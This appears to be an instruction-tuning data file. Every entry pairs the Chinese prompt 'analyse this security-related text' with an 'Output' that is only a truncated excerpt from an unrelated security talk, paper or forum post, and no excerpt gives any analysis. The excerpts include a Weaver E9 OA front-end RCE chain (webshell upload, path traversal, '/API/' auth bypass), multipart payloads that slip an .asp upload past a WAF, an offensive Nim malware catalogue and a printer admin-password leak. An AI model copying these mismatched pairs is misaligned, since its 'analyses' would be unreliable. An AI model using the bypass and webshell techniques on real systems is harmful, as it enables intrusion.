Find  opcode  pa<ern  of  loop
•  demo
Limita4on  and  solu4on
•  Bad
  news
•  Loadbytes
  for
  obfusca=on
•  Not
  use
  loop[jmp
  or
  goto
  or
  repeat
  one
  statement
  for
  many
  =mes]
•  Func=on
  calls
  in
  loop
  body
•  Good
  news
•  Hook
  and
  generate
  inner
  real
  exploit
  SWF
•  The
  pafern
  itself
  can
  be
  detected
•  Check
  deeper
Part
  2
  :
  Stop
  Expl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Radio Exploitation 101
Characterizing, Contextualizing, and Applying Wireless Attack Methods
Matt Knight
Bastille Networks
San Francisco, CA
matt@bastille.net
Marc Newlin
Bastille Networks
Atlanta, GA
marc@bastille.net
Abstract—Reverse engineering wireless physical layers has never
been easier, thanks to the commoditization of Software Deﬁned
Radio (SDR) technology and an active open source community.
However, the successful application of SDR to security challenges
requires extensive domain knowledge and insight into radio
frequency fundamentals.
The goal of this paper, and accompanying presentation, is
to highlight how wireless network exploitation is both similar
to, and distinct from wired, network exploitation, and to
offer techniques that will aid security researchers in thinking
creatively
about
wireless
reverse
engineering
and
exploit
development.
Index Terms—wireless, security, reverse engineering, software
deﬁned radio, radio frequency, internet of things, mobile
I. INTRODUCTION
The
growth
of
mobile
and
Internet
of
Things
(IoT)
technologies has reshaped the computing landscape as we
know it. Devices are made to be “smart” (smart[phones
— cars — refridgerators — etc.]) by upgrading them with
embedded computers. By bolting on processing and network
connectivity, they are exposed to other devices on networks,
which can be as small as comprising only two devices or as
broad as the open Internet. This introduces an expansive new
attack surface to a hypothetical security model.
II. THE EVOLUTION OF NETWORK EXPLOITATION
Recent years have seen a ﬂood of novel wireless exploits,
with exploitation moving beyond 802.11 and into more ob-
scure standard and proprietary wireless protocols. This can
be attributed to the proliferation and commoditization of
technologies that provide promiscuous access to the physical
layer of the communication stack. For context, we will brieﬂy
discuss the evolution of network exploitation.
A. Network Abstraction Models
Network abstractio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Blue Team Hell: A story of
ISPs, Healthcare, and
Education
Text
Amanda Berlin
@Infosystir
Blue team
started at ISPs
Healthcare
Purple team
Windows Admin
Network Security
Jack of all trades
very visual  - All the memes!!
Text
Hot sauce for charity
that’s not Charity
Text
Adult Supervision Required
If you’re squeamish… you might want to look away and maybe do the earmuﬀs thing
Text
Blue & Red
One of my favorite kid’s movies ever. Great quote that applies to defense and oﬀense
1. preface with that all I’m bringing up has been engineered and ﬁxed or I wouldn’t bring it up.
2.Imagine yourself walking into this environment with no help (at ﬁrst)
3.Hadn’t started in infosec yet
4.Knew these were bad, and it got worse
5.Guy didn’t grow with the environment
6.Started out with everyone in the dept as a domain admin and non-dept people knowing “INFO”
7.Start with some things we didn’t have
1.
A/V - production servers had anti-virus installed sometimes. But if it were to cause performance problems it would be uninstalled or disabled. Servers that were required to remain logged in with domain admin due to the way
the application interacted with the desktop.
2.
WSUS. All windows environment. WSUS was there, just not really operational or managed.
3.
Visibility. No clue what software, how many servers/switches/pcs. What vendor equipment was on our network, what data was passing over it.
4.
decent datacenter (waterlines above, open ports, door access, cable mgmt)
pictures of server racks here
1.
backups
2. DMZ
3. segmentation, open ports and vlan1 everywhere!
4. At one point this was so incredibly bad. That our public facing web server was on a dual homed windows 2003 server. This Windows server had a database backend
that our third party web developers would access with vnc. The database was on microsoft sql 2000 located on our domain controller. These same domain controllers
contained the dhcp zones for our publicly accessible non-password protected, unencrypted wiﬁ. Once we...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Criminal Procedure Timeline
???
Stop
Search
Arrest
Questions
Appearance
Bail
Lets Make a Deal
Trial
???
Something happens which causes the police to
want to investigate you
Stop
Police are investigating something
In order to stop you to investigate, police must
have
"reasonable articulable suspicion" that "criminal
activity is afoot" - Terry v. Ohio
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
* - Exceptions to Warrant Req.
Terry - reasonable suspicion suspect is "armed and dangerous"
Automobiles
Arrest
Border crossing
Exigent Circumstances
Destruction of Evidence
Public Safety
Permission
Questioning Part 1
Miranda Warnings
 Right to Silence
Right to an Attorney
Miranda given when a person is "in custody"
Miranda required if prosecutors later want to
introduce what you say against you at trial
Police are allowed to lie to you
Questioning Part 2
Once you have been appointed or retained
counsel on a particular case, you have
additional rights to have your attorney
present whenever police question you or you
appear in court on that case
Arrest
Police must have probable cause to arrest
In general, a person can be arrested for any
crime (possibly even a traffic violation)
First Appearance / Arraignment
You may have an initial appearance where the
only thing done is setting bail or releasing
you.
In many states, you have a right to bail.
Realistically, bail is always set except in
extremely serious cases (i.e. murder).
Bail
Cash bail only
vs.
Bail bonds
First Appearance / Arraignment 2
At your arraignment, you will receive a list of
the charges against you.
You must have an attorney present to assist
you at this point, or you will be appointed
one.
(sometimes bail setting will also be done...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking 911:
Adventures in Disruption,
Destruction, and Death
quaddi, r3plicant & Peter Hefley
August 2014
Jeff Tully
Christian Dameff
Peter Hefley
Physician, MD
Emergency Medicine
Physician, MD
Pediatrics
IT Security, MSM, C|CISO, CISA, CISSP, CCNP, QSA
Senior Manager, Sunera
Jeff Tully
Christian Dameff
Peter Hefley
Open CTF champion sudoers- Defcon 16
Speaker, Defcon 20
Wrote a program for his TI-83
graphing calculator in middle school
Speaker, Defcon 20
Gun hacker, SBR aficianado
This talk is neither sponsored,
endorsed, or affiliated with any of our
respective professional institutions or
companies.
No unethical or illegal practices were
used in researching, acquiring, or
presenting the information contained in
this talk.
Do not attempt the theoretical or
practical attack concepts outlined in
this talk.
Disclaimer
Outline
- Why This Matters (Pt. 1)
- 911 Overview
- Methodology
- Attacks
- Why This Matters (Pt. 2)
Why This Matters (Pt. 1)
4/26/2003 9:57pm
Emergency Medical Services (EMS)
Research Aims
• Investigate potential vulnerabilities
across the entire 911 system
• Detail current attacks being carried out on
the 911 system
• Propose solutions for existing
vulnerabilities and anticipate potential
vectors for future infrastructure
modifications
Methodology
• Interviews
• Regional surveys
• Process observations
• Practical experimentation
• Solution development
Wired Telephone Call
End
Office
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + ANI
Voice + ANI
ANI
ALI
Wireless Phase 1 Telephone Call
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + pANI/ESRK
Voice + pANI/ESRK
pANI / ESRK
ALI
Cell Tower
Voice
Callback # (CBN)
Cell Tower Location
Cell Tower Sector
pANI / ESRK
CBN, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
Mobile
Positioning
Center
Wireless Phase ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Today‘s Session
! Design failures in embedded systems
! Examples of design failures
! Exploiting a design failure
! Software vulnerabilities in embedded
systems
! Examples software vulnerabilities
! Exploiting a common embedded system
Design failures
! Undocumented functionality
! Developer backdoors
! Auto-something features
! Legacy functions
! Ignored standards
! Uncontrolled increase of complexity
! New subsystems
! Additional access methods
! Inconsistent access restrictions
Design failures
Case 1: Lucent Brick
! Layer 2 Firewall running Inferno OS
! ARP cache design failures
! ARP cache does not time out
! ARP reply poisoning of firewall
! ARP forwarded regardless of firewall rules
LSMS Management Server
DMZ
ARP reply
with LSMS IP
Design failures
Case 2: Ascend Router
! Undocumented discovery protocol
! Special packet format to UDP discard port
! Leaks information remotely
! IP address/Netmask
! MAC address
! Serial number
! Device type
! Features
! Can set IP address using SNMP write
community
Exploiting a design failure:
Exploiting a design failure:
HP Printers
HP Printers
! Various access methods:
! Telnet,HTTP,FTP,SNMP,PJL
! Various access restrictions
! Admin password on HTTP and Telnet
! IP access restriction on FTP, PJL, Telnet
! PJL security password
! Inconsistent access restriction interworkings
! SNMP read reveals admin password in hex at
.iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0
! HTTP interface can be used to disable other
restrictions (username: laserjet)
HP Printers: PJL
! PJL (Port 9100) allows access to printer
configuration
! Number of copies, size, etc.
! Locking panel
! Input and output trays
! Eco mode and Power save
! I/O Buffer
! Security relies on PJL password
! key space of 65535.
! max. 6 hours for remote brute force
HP Printers: PJL
! PJL (Port 9100) allows access to printer file
systems on DRAM and FLASH
! Spool directory contains jobs
! PCL macros on printer
! More file system content (later models)
! Firmware
! Web server c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

简单写一下审计了几个月这个 oa 的思路
首先肯定还是看 web.xml
对 jsp 文件的鉴权以及 oa 的补丁都在 SecurityFilter 中
E8 和 E9 的主要差别就是 E9 多了一个/api 的访问 也就是这个 servlet
这个 servlet 就是扫描 com.cloudstore 和 com.api 包下的@Path 注解的一个 rest 接口
SecurityFilter 初始化时会调用 weaver.security.filter.SecurityMain 的 initFilterBean 方法会
初始化安全规则
会加载这两个文件夹下对应 Ecology 版本的 XML 规则文件
后面这些代码太多了 就不一一去看 一个重要的点就是会去调用
weaver.security.rules.ruleImp 包下面的每一个类的 validate 方法
这些类差不多就是 E9 每
次打的补丁
我们可以在拿到补丁后直接看到这些洞的 URL 这里有一个小 tips 就是如果是
因为安全规则访问某个点导致的 404 在返回的 header 里会有一个 securityIntercept
泛微在这几个月修复了一系列由于 imagefilemanager 导致的 RCE 漏洞
我们先看到这次某微在 3 月份打的一个补丁
weaver.security.rules.ruleImp.SercurityRuleForCptInventory
这个补丁针对性的修复了我交给某平台的一个前台 RCE 漏洞 并且只是在我交洞的一个月
后 我没拿洞去打 也没给过任何人 所以 懂得都懂～
路径是/api/cpt/inventory/docptimpoptinventory
这里拿到 inventoryexcelfile 参数调用 getImageFileInfoById 方法拿到 ImageFileManager
随后调用 getImageFileName 验证了后缀名
我习惯在审计的时候把这些库文件丢到 jd-gui 里面全部反编译出来方便在 idea 里面搜索
在 com.engine.cpt.web.CptInventoryAction 类里 跟进
可以发现这里是拿到 inventoryexcelfile 参数然后查询数据库后将 imagefilename 拼接到了
路径中直接将文件写入到/cpt/ExcelToDB/目录中
所以我们现在需要找到一个前台的地方
进行上传 jsp 木马写入 imagefile 表中并且还要回显 imagefileid 当我把 e9 源码熟悉之后 直
接在所有 jsp 文件中搜索 new FileUpload(request,"utf-8") 由此找到了这个文件可以前台访
问 workrelate/plan/util/uploaderOperate.jsp 这个文件可以达到上面的要求
跟进这个方法
关键点在这个 uploadFiles 方法
跟进后就会发现这个类 weaver.file.FileUpload 的所有文件上传操作都会进行压缩之后写入
到 imagefile 数据表中 然后将文件放到 filesystem 目录 并且在文件上传的过程中不会验证
文件的后缀名 作为 imagefilename 字段写入到数据库中
到这里似乎已经可以写入 webshell 了 但是如果此时我们一步步的上传然后去访问会发现
直接 404 了 这是因为有对应的规则 访问/cpt/ExcelToDB/目录中的 jsp 文件必须登陆才能
访问 我们需要的是前台 RCE 所以必须得找一个前台的地方我们可以完全控制写入数据库
中的 imagefilename 参数 使其为/../../xxx.jsp 在 weaver.file.FileUpload 类的上传中 调用
的是某微自己写的文件上传解析类 weaver.file.multipart.MultipartParser
直接取最后一个斜杠后的内容为文件名 通过搜索 new ServletFileUpload 寻找调用
commons-fileupload 库来解析文件上传的地方 最后找到了
/api/fna/documentCompare/doCreateDocument 这个路径
这里可以将文件名原样的写入到 imagefile 表中 返回 imagefileid 具体的就不去跟了
最后还有一个点就是/api 路径的鉴权 我们上面所提到的这两个路径都是需要登陆后访问的
解决办法就是大写 /API/像这样访问就不需要登陆
/api/路由的鉴权在这个类中 335 行
可以看到这里拿到 requesturi 之后并没有转换大小写 导致/API/可以绕过这个鉴权
那为什么大写...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

某硬件设备漏洞挖掘之路-Web选手初入"二进
制"
Author: Yuanhai
遵守相关法律法规,本文不会带有任何厂商标识。
0x01:前言
很早之前就有打算开始往二进制方向发展,但由于基础较差,需要花费大
量时间从0开始学习。阅读其他师傅所写的文章受益良多。最有印象的
就是忍者师傅所写的《web选手如何快速卷入二进制世界》。简单的二
进制应用在IDA的伪代码状态下与日常的WEB应用审计流程基本一致。
下面就分享一篇个人初学二进制的挖掘实践。
0x02:正文
此次挖掘的目标系统是一个硬件设备(Web应用网关),通过官方服务中心
拿到了更新的固件包(.BIN文件)。然后使用Binwalk对固件进行提取
python -m binwalk -Me ****.bin
这里使用的是windows环境下的命令
提取出来的文件会放在当前目录下以_(文件名)开头的新建文件夹中
在某个目录下发现了一个 .cpio 文件,大小为 164MB ,( cpio 也属于一种
压缩文件)
在windows下可以使用 7-zip 解压其中的文件。
看见etc,dev等目录大概就明白了这是Unix系统文件。
根据网关默认的页面查找到了Web程序所在的目录。
此目录下仅有一些html页面,以及一些静态资源文件。并没有功能处理
文件。
查看相关配置文件,该网关应用使用 lighttpd + FastCGI 环境搭建。
所有请求都交给 main_req 文件进行处理。程序根目录
为 /var/local/web/htdocs
找到此文件,发现是一个系统执行文件
将其拖入IDA中。由于不太清楚程序架构,搜索带有Login字符的相关处
理方法,使用F5查看伪代码。根据前端传入的参数进行对比。确定最终
的处理方法。
前端传递参数只有 user_name , password , language 三个参数
与 login_req_proc 方法逻辑相同。
到了这里基本流程就和Web中代码审计一致了.相比java中的获取请求
参数方法 request.getParameter 。在图中一眼就可以看出。程序使用
http_parameter_get 获取http协议提交过来的数据。
if ( http_parameter_get("user_name", &src)//获取参数user_name赋
值给src
    || http_parameter_getint("language", &v23)//获取int类型的参
数language赋值给v23
    || http_parameter_get("password", &v24)//获取password参数赋
值给v24
    || v23 >= 2 )
  {如果上文有一个参数为空,且v23(language的值大于或等于2时)
    resultpage_redirect("/login.html", &unk_4198F8,
&unk_4198F8);
    //直接重定向到login.html并返回200
    return 200;
  }
根据以上流程查找存在使用 http_parameter_get 的方法,确定 sink
在IDA中,单击需要查找的方法,使用快捷键X 依次审计存在使用
http_parameter_get 的事件方法。
通过审计发现并没有一些调用敏感函数的利用点。
比较疑惑？在审计中发现存在调用的方法只有少数,正常的应用程序应该
不只这么点功能。
继续分析,在 xxx_server() 方法中发现了一些其他内容。
应用在启动时,会加载files下的一些模块
而模块中的_display.xml文件中声明了功能路径以及处理方法。 使用
parserMapping对xml中的内容进行处理
如:
        <display>
            <disp_url>version_save</disp_url>
            <template>download.xml</template>
            <user_file>system.so</user_file>
            <pre_transform>save_pre_translate</pre_transform>
<post_transform>save_post_translate</post_transform>
            <transform>save_translate_value</transform>
        </display>
disp_url 为该方法的请求路径, tem...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Rocking the pocket book:
Hacking chemical plants
for competition and
extortion
Marina Krotoﬁl
Jason Larsen
WHITE PAPER, DEFCON 23
FURTHER CO-AUTHORS AND CONTRIBUTORS:
Alexander Isakov • Alexander Winnicki • Dieter Gollmann • Pavel Gurikov
DAMN VULNERABLE CHEMICAL PROCESS
https://github.com/satejnik/DVCP-VAC • https://github.com/satejnik/DVCP-TE
This research was done in Hamburg University of Technology, Hamburg, Germany.
August 2015
Contents
1
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.1
Process Control Systems
6
2
Classes of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.1
Equipment damage
9
2.2
Production damage
9
2.3
Compliance violation
9
3
Stages of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1
Access
11
3.2
Discovery
12
3.3
Control
13
3.4
Damage
13
3.5
Cleanup
14
4
Vinyl Acetate Monomer Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
4.1
Process Description
15
4.2
Control Model
17
4.3
Simulation of Attacks
17
4
5
Attack for Production Damage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5.1
Preliminary Analysis
20
6
Attaining Attack Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
6.1
Access
21
6.2
Discovery
21
6.3
Control
22
6.4
Damage
25
6.5
Cleanup
28
6.6
Discussion
31
7
Damn Vulnerable Chemical Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
7.1
Framework description
34
7.2
Comparison of TE and VAM processes
38
7.3
Potential applications
39
8
Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
1. Introduction
Advances in computing and networking have added new capabilities to physical systems that could
not b...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Translation-Based Steganography
Christian Grothoﬀ
Krista Grothoﬀ
Ludmila Alkhutova
Ryan Stutsman
Mikhail Atallah
CERIAS, Purdue University {christian,krista}@grothoff.org,
{lalkhuto,rstutsma}@purdue.edu,mja@cs.purdue.edu
Abstract. This paper investigates the possibilities of steganographically
embedding information in the “noise” created by automatic translation
of natural language documents. Because the inherent redundancy of nat-
ural language creates plenty of room for variation in translation, machine
translation is ideal for steganographic applications. Also, because there
are frequent errors in legitimate automatic text translations, additional
errors inserted by an information hiding mechanism are plausibly unde-
tectable and would appear to be part of the normal noise associated with
translation. Signiﬁcantly, it should be extremely diﬃcult for an adver-
sary to determine if inaccuracies in the translation are caused by the use
of steganography or by deﬁciencies of the translation software.
1
Introduction
This paper presents a new protocol for covert message transfer in natural lan-
guage text, for which we have a proof-of-concept implementation. The key idea is
to hide information in the noise that occurs invariably in natural language trans-
lation. When translating a non-trivial text between a pair of natural languages,
there are typically many possible translations. Selecting one of these transla-
tions can be used to encode information. In order for an adversary to detect the
hidden message transfer, the adversary would have to show that the generated
translation containing the hidden message could not be plausibly generated by
ordinary translation. Because natural language translation is particularly noisy,
this is inherently diﬃcult. For example, the existence of synonyms frequently
allows for multiple correct translations of the same text. The possibility of er-
roneous translations increases the number of plausible variations and thus the
opportunit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

New Phishing Attacks Exploiting OAuth
Authorization Flows
August 7, 2021
Jenko Hwong
jhwong@netskope.com
@jenkohwong
$ az ad signed-in-user show
[
  {
    "jobTitle":   "Researcher",
    "department": "Threat Research Labs",
    "company":    "Netskope, Inc.",
    "email":      "jhwong@netskope.com"
    "twitter":    "@jenkohwong",
    "background": "vulnerability scanning, AV/AS, pen-testing/exploits,
  L3/4 appliances, threat intel, windows security",
  }
]
Phishing Evolution: smtp, fake domain, ssl cert, user/pwd
in the beginning...
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
fake website
phish
browse, auth
steal
username
password
victim
1
2
3
smtp, sms, IM, chat...
http(s)
attacker
+mobile
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
fake website
hosted in
cloud
phish
browse, auth
victim
1
2
smtp, sms, IM, chat...
http(s)
attacker
steal
username
password
3
+cloud
fake website
hosted in
cloud
phish
browse, auth
victim
1
2
smtp
http(s)
attacker
steal
username
password
3
+cloud
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
Phishing Evolution: fake domain, apps, ssl cert, user/pwd
fake website
phish
browse, auth
steal
username
password
victim
1
2
3
smtp, sms, IM, chat...
http(s)
attacker
controls
MFA
IP allow policies
link analysis (domain/URLs/certs)
sender reputation
link analysis (domain/URLs/certs)
content inspection (creds)
Phishing Evolution: OAuth 2.0 auth code grant[1]
+cloud app authorization
Application
(client, device)
User
Azure AD
Google Identity
Identity Platform
1
2
3
Authenticate and Authorize
Authenticate (MFA)
Authorize permissions (scopes)
OAuth Tokens
access token
refresh token
Request Authorization
Request permissions (scopes)
Redirect user to Identity Platform
(authorization service)
[1] https://datatracker.ietf.org/doc/html/rfc6749#page-24
Phishing Evolution: OAuth 2.0 auth code grant
+cloud app authorization: Payments
Phishing Evolution: OAuth 2.0 auth code grant
+cloud app authorization: Payments
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
些malware-dev开源项⽬介绍-nim
项⽬列表
OffensiveNim
pop_bin.nim
作⽤
编译
运⾏
pop_winim_bin.nim
作⽤
编译
运⾏
pop_winim_lib.nim
作⽤
编译
运⾏
execute_assembly_bin.nim
作⽤
编译
运⾏
clr_host_cpp_embed_bin.nim
作⽤
编译
运⾏
scshell_c_embed_bin.nim
作⽤
编译
运⾏
fltmc_bin.nim
作⽤
2
编译
运⾏
blockdlls_acg_ppid_spoof_bin.nim
作⽤
编译
运⾏
named_pipe_client_bin.nim && named_pipe_server_bin.nim
作⽤
编译
运⾏
embed_rsrc_bin.nim
作⽤
编译
运⾏
self_delete_bin.nim
作⽤
编译
运⾏
encrypt_decrypt_bin.nim
作⽤
编译
运⾏
amsi_patch_bin.nim && execute_powershell_bin.nim
作⽤
编译
运⾏
etw_patch_bin.nim
作⽤
编译
运⾏
wmiquery_bin.nim
作⽤
3
编译
运⾏
out_compressed_dll_bin.nim
作⽤
编译
运⾏
dynamic_shellcode_local_inject_bin.nim
作⽤
编译
运⾏
shellcode_callback_bin.nim
作⽤
编译
运⾏
shellcode_bin.nim
作⽤
编译
运⾏
shellcode_fiber.nim
作⽤
编译
运⾏
shellcode_inline_asm_bin.nim
作⽤
编译
运⾏
syscalls_bin.nim
作⽤
编译
运⾏
passfilter_lib.nim
作⽤
4
编译
运⾏
minidump_bin.nim
作⽤
编译
运⾏
http_request_bin.nim
作⽤
编译
运⾏
execute_sct_bin.nim
作⽤
编译
运⾏
scriptcontrol_bin.nim
作⽤
编译
运⾏
excel_com_bin.nim
作⽤
编译
运⾏
keylogger_bin.nim
作⽤
编译
运⾏
uuid_exec_bin.nim
作⽤
编译
运⾏
unhookc.nim
作⽤
5
编译
运⾏
unhook.nim
作⽤
编译
运⾏
taskbar_ewmi_bin.nim
作⽤
编译
运⾏
fork_dump_bin.nim
作⽤
编译
运⾏
ldap_query_bin.nim
作⽤
编译
运⾏
sandbox_process_bin.nim
作⽤
编译
运⾏
list_remote_shares.nim
作⽤
编译
运⾏
chrome_dump_bin.nim
作⽤
编译
运⾏
suspended_thread_injection.nim
作⽤
6
编译
运⾏
steganography
简介
使⽤
nim-strenc
简介
使⽤
Nim-RunPE
简介
使⽤
NimGetSyscallStub
简介
使⽤
Nim_CBT_Shellcode
简介
使⽤
nimcrypto
简介
使⽤
winim
简介
使⽤
NimlineWhispersP
简介
⽤途
zippy
简介
⽤途
nuglifier
简介
⽤途
7
tiny-sqlite
简介
⽤途
编译命令
参考⽂献
OﬀensiveNim
steganography
nim-strenc
Nim-RunPE
NimGetSyscallStub
Nim_CBT_Shellcode
nimcrypto
winim
NimlineWhispers3
zippy
nugliﬁer
tiny_sqlite
该项⽬是S3cur3Th1sSh1t⼤佬开发的，项⽬当中的每个⽂件都可以单独编译，并且⽂件名字标识了这份
代码起到的作⽤。
直接调⽤MessageBoxA弹窗，但需要⾃⼰定义系统api函数调⽤的数据类型
项⽬列表
●
●
●
●
●
●
●
●
●
●
●
●
OﬀensiveNim
pop_bin.nim
作⽤
编译
8
通过winim调⽤windows api，减少需要编写的nim代码
运⾏
pop_winim_bin.nim
作⽤
编译
Bash
复制代码
nim cc --app=console --cpu=amd64 -d:release -d:strip --
out=bin/pop_bin64.exe  src\pop_bin.nim
1
9
通过winim库调⽤w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

酒票
35
贡献
0
积分
46
注册时间
2013-1-31
发消息
c4rt1y
九零元老
 发表于 2016-4-17 06:31:25 |  只看该作者
       表哥已经在https://forum.90sec.org/forum.php?mod=viewthread&tid=9133这里写了一些方法，今晚在看别人的代
了，于是乎，今晚测试了下安全狗的上传，发现方法还是如此，依旧没任何变化，当然我们只拿安全狗为案列，因为方
过狗方法，这里感谢keio牛文档，我虽然也做了类似的，但是排版没你的好，就拿你的放上去了。
默认状态
[Bash shell] 纯文本查看 复制代码
突破0
[Bash shell] 纯文本查看 复制代码
突破1 去掉双引号
[Bash shell] 纯文本查看 复制代码
突破2 添加一个filename1
[Bash shell] 纯文本查看 复制代码
突破3 form中间+
[Bash shell] 纯文本查看 复制代码
突破4 大小写
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="[0x09]a.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename=a.asp
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name="filepath"; filename="a.asp";filename1="test.jpg"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name="filepath";filename="test.asp"
Content-Type: text/html
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
突破5 去掉form-data
[Bash shell] 纯文本查看 复制代码
突破6 在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破7 a.asp . (空格+.)
[Bash shell] 纯文本查看 复制代码
[/mw_shl_code]
突破8 "换行
[Bash shell] 纯文本查看 复制代码
突破9 NTFS流
[Bash shell] 纯文本查看 复制代码
突破10 经过对IIS 6.0的测试发现，其总是采用第一个Content-Disposition中的值做为接收参数，而安全狗总是以
求[上传test.asp成功]：
[Bash shell] 纯文本查看 复制代码
1
2
3
------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]------WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name="filepath"; filename="a.asp"
Content-Type: text/html
1
2
3
[mw_shl_code=bash,true]...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

5/10/2007
DEFCON 15
1
GeoLocation of Wireless
Access Points  &
“Wireless GeoCaching”
Presented By:  Rick Hill
7/6/2007
DEFCON 15
2
The Problem:  802.11b Geo-Location
•
Researchers have documented at least 4 Techniques for
Geo-Location of Wireless Access Points (APs)1
•
Netstumbler doesn’t Geo-Locate –> It simply gives the
Driver’s GPS Position.
•
Netstumbling & GeoCaching Compared:
Wardrivers don’t locate AP’s with the same intent that
GeoCachers find Caches;  they’re content to simply find
New Networks. GeoCaching, in contrast, is all about
Precise Location…
•
What if we could combine the two?
Consider a New Sport:  “Wireless GeoCaching”
7/6/2007
DEFCON 15
3
What’s GeoCaching?
•
Wikipedia:
-
GeoCaching is an outdoor treasure-hunting
game in which the participants use a Global
Positioning System (GPS) receiver or other
navigational techniques to hide and seek
containers (called “GeoCaches" or "caches").
-
Typical Cache - a small waterproof container
containing a logbook & "treasure," usually
toys or trinkets of little monetary value.
7/6/2007
DEFCON 15
4
Project Goals
•
Our Goals:
-
Build an Automated 802.11b Tracking Device
using  OTS Components
-
Test Device in a Controlled Environment (the
Lake)
-
Participate in “Wireless GeoCaching” Game:
Geo-Locate hidden AP’s & Caches using
Netstumbler and Radio Direction Finding
(RDF) techniques.
7/6/2007
DEFCON 15
5
Project Concept
•
Of the 4 DF Methods ->
-
Received Signal Strength Indication (RSSI) +
Angle of Arrival (AOA) + Triangulation is easiest
to Implement
•
Our Platform:  Sea Ray Boat
•
Location:  Lake Anna, VA
•
Equipment:
-
Hardware - 15 Db YAGI Antenna, Stepping Motor &
Controller, Digital Compass, GPS, Dell Laptop
-
Software – XP, Netstumbler 0.4.0, Visual Basic 5.0
7/6/2007
DEFCON 15
6
Agenda
•
Background – Why is Wireless Tracking so
Hard???
•
4 Techniques – Advantages / Disadvantages
•
Building the Tracker  (HW/ SW)
•
Static Test with a Known AP
•
Wireless GeoCa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Go Go Gadget Python
Nick Waite   Furkan Cayçı
Hardware for software people
• Gadgets are cool
• Writing drivers is not so easy
– Usually done in C
– Requires knowledge of low-level interfaces
– Can easily crash your box
• Many devices do not need compiled drivers
– Low data rates
– libUSB and other abstraction layers
• Is there a way to “rapid prototype” drivers?
– Fast, easy, fun
– Cross-platform would be nice
Python
• A very handy scripting language
• Modules for almost everything
• Even hardware…
– Pyserial
– Pyparallel
– PyUSB
• Looks like a winner!
Today’s Menu
USB
Serial
The Serial Port
• Electrical
– Full-duplex
– Hardware flow control (often not used)
– [0] + [n]*n_bits + [1]
– 0 = -3 to -15 volts, 1= 3 to 15 volts
• Mechanical
– DB-25, DE-9
• Often a USB device pretending to be serial port
Handshaking and cables
• Will add graphics later
– Much of the confusion in serial land revolves
around flow control and what kind to use
• True hardware flow control
– Fake local loopback flow control
• Software flow control (XON/XOFF)
• No flow control (most common nowadays)
– DCE/DTE – which side are you?
• Null modem cables
Serial in python
• It’s easy (mostly)
• There are some gotchas, however
>>> import serial
>>> s = serial.Serial('/dev/ttyS1', 9600)
>>> s.write("hello")
>>> print s.readline()
>>> s.close()
On actually using pySerial
• There are subtle issues with pyserial’s use in
robust  driver code
– Timeouts
– Flow control
– Buffering
– Alternating reads & writes
• Flush ports!
• TO BE COMPLETED LATER
Actual gadgets
• Demo showing actual code
• Demo sniffing serial transactions with special
cable?
USB
• A great example of a forward looking standard
– Since 1996, still backward compatible!
• Really is the universal bus
– Ever seen a PS/2 fondue pot?
– mmmm….cheese
• Practically, most cool gadgets
you will want to reverse-engineer are USB
– Many will be HID-class
USB made complicated
• A Device has
– Configuration(s)
which have
• Interface(s),
which have
– ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

⸺frida
0x00
443flagssl
